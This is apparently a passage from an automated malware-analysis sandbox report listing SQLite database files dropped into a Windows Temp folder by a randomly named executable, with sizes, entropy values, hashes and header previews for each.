SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sa8E2cujZM

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\siBpITa5lI

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t6shThA6zP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tIYtMEVAJY

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tNAFEB6DLp

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tYfOQxqC7a

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tdmQMKtYUV

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ttDkjVfYqn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tyqYfnSjj5

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uFhIiC0gUV

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uKmDOfYZKP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uO5wNHPNLS

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uRNPQtq9wF

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vA84Ml1QBK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vGwGgKYG4C

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vHe1bdeKDt

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vKMSHPQtPE

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vWXbycFBuu

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vYGcHlJcAT

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w3lXMMJotn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\w7EdVUSGUy

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wLhMmWkE9p

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wOkQSrkZ9L

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wTUl5LNyXH

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wctTHD0KTs

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wg0X6trmDP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
